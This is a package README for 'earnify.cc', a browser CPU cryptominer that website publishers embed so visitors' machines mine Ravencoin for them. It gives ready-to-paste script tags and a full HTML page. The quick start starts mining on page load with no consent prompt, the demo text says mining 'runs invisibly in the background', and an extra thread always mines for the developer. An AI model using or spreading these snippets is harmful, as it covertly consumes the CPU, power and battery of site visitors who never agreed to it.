earnify.cc

v2.4.1

Published

12 days ago

Browser-based CPU mining for website publishers. Web Workers + WASM. No ads, no tracking, open source.

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browser-mining web-mining cpu-mining monetization web-monetization minotaurx ravencoin coinhive-alternative earnify.cc web-workers wasm

Earnify — Browser-Based CPU Mining for Publishers

earnify.cc is an open-source browser mining tool. Drop in a script tag, visitors contribute idle CPU cycles via Web Workers + WASM, and you earn cryptocurrency. No ads, no tracking, no cookies.

Quick Start (CDN — no install needed)

<script type="module">
  import { autoMine } from "https://earnify.cc/miner.js";
  autoMine("YOUR_RVN_ADDRESS", 0.2);
</script>

Install via npm

npm install earnify.cc

import { autoMine } from "earnify.cc";
await autoMine("YOUR_RVN_ADDRESS", 0.5);

API

`autoMine(wallet, cpuPercent?)`

One-line setup. Starts mining immediately with default zpool settings.

import { autoMine, stop, minotaurxHashrate } from "earnify.cc";

await autoMine("YOUR_RVN_ADDRESS", 0.5);
// Later...
stop();

`start(algo, stratum, log, nthreads, onWork?, onHashrate?, onError?)`

Full-control mode with custom pool, callbacks, and events.

import { start, stop, minotaurx, ALL_THREADS, minotaurxHashrate } from "earnify.cc";

const threads = await start(
  minotaurx,
  {
    server: "minotaurx.na.mine.zpool.ca",
    port: 7019,
    worker: "YOUR_RVN_ADDRESS",
    password: "c=RVN",
    ssl: false,
  },
  null,                              // log (unused)
  0.5,                               // 50% CPU
  ({ work })    => console.log("New job:", work.job_id),
  ({ hashrateKHs }) => console.log(`${hashrateKHs} KH/s`),
  ({ error })   => console.error("Error:", error)
);

console.log(`Mining on ${threads} user threads + 1 dev thread`);

`stop()`

Stops all mining immediately. Terminates workers, disconnects sockets, prints a final hashrate report.

import { stop } from "earnify.cc";
stop();

`minotaurxHashrate` (read-only stats object)

Access mining statistics programmatically at any time.

import { minotaurxHashrate } from "earnify.cc";

setInterval(() => {
  console.log(`${minotaurxHashrate.currentHashrateKHs} KH/s`);
  console.log(`Uptime: ${minotaurxHashrate.getUptime()}`);
  console.log(`Shares: ${minotaurxHashrate.sharesAccepted} / ${minotaurxHashrate.sharesRejected}`);
}, 1000);

| Property | Type | Description | |---|---|---| | totalHashes | number | Cumulative total hashes computed | | currentHashrateKHs | number | Most recent hashrate in KH/s | | maxHashrateKHs | number | Peak hashrate recorded | | recentHashrates | number[] | Last 60 hashrate samples | | sharesAccepted | number | Accepted shares | | sharesRejected | number | Rejected shares |

Methods: getAverageHashrate(), getUptime(), printReport(), reset()

Constants

| Export | Value | Description | |---|---|---| | minotaurx | "cwm_minotaurx" | Algorithm identifier for MinotaurX | | ALL_THREADS | 0 | Use all available hardware threads |

Full Example

A complete HTML page you can copy, paste, and open in a browser:

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <title>Earnify Demo</title>
  <style>
    body { font-family: sans-serif; max-width: 600px; margin: 40px auto; }
    #stats { margin-top: 16px; font-family: monospace; font-size: 14px; }
    button { padding: 8px 20px; font-size: 16px; cursor: pointer; }
  </style>
</head>
<body>
  <h1>My Website</h1>
  <p>Your content here. Mining runs invisibly in the background.</p>

  <button id="toggle">Start Mining</button>
  <div id="stats"></div>

  <script type="module">
    import { autoMine, stop, minotaurxHashrate } from "earnify.cc";

    let mining = false;
    let interval = null;
    const WALLET = "YOUR_RVN_ADDRESS";

    document.getElementById("toggle").addEventListener("click", async () => {
      if (!mining) {
        await autoMine(WALLET, 0.3);
        mining = true;
        document.getElementById("toggle").textContent = "Stop Mining";
        interval = setInterval(() => {
          document.getElementById("stats").textContent =
            `Hashrate: ${minotaurxHashrate.currentHashrateKHs} KH/s | ` +
            `Uptime: ${minotaurxHashrate.getUptime()} | ` +
            `Shares: ${minotaurxHashrate.sharesAccepted} / ${minotaurxHashrate.sharesRejected}`;
        }, 1000);
      } else {
        stop();
        mining = false;
        clearInterval(interval);
        document.getElementById("toggle").textContent = "Start Mining";
        document.getElementById("stats").textContent = "Stopped";
      }
    });
  </script>
</body>
</html>

Replace YOUR_RVN_ADDRESS with your Ravencoin wallet address. For the CDN version (no npm), change the import to:

import { autoMine, stop, minotaurxHashrate } from "https://earnify.cc/miner.js";

Dev Fee

The miner allocates 1 dedicated thread to the developer's wallet on top of whatever the user configures. This is transparent and fixed regardless of thread count.

Specs

| | | |---|---| | Algorithm | MinotaurX (ASIC-resistant) | | Execution | Web Workers + WASM | | Thread limit | 1 to n (default: n−1) | | Protocol | Stratum V1 over WebSocket | | Bundle | ~1 MB | | Data collection | None | | Browser support | Chrome 80+, FF 78+, Safari 14+, Brave | | Dev fee | 1 thread on top of user allocation |

License

GPL-3.0

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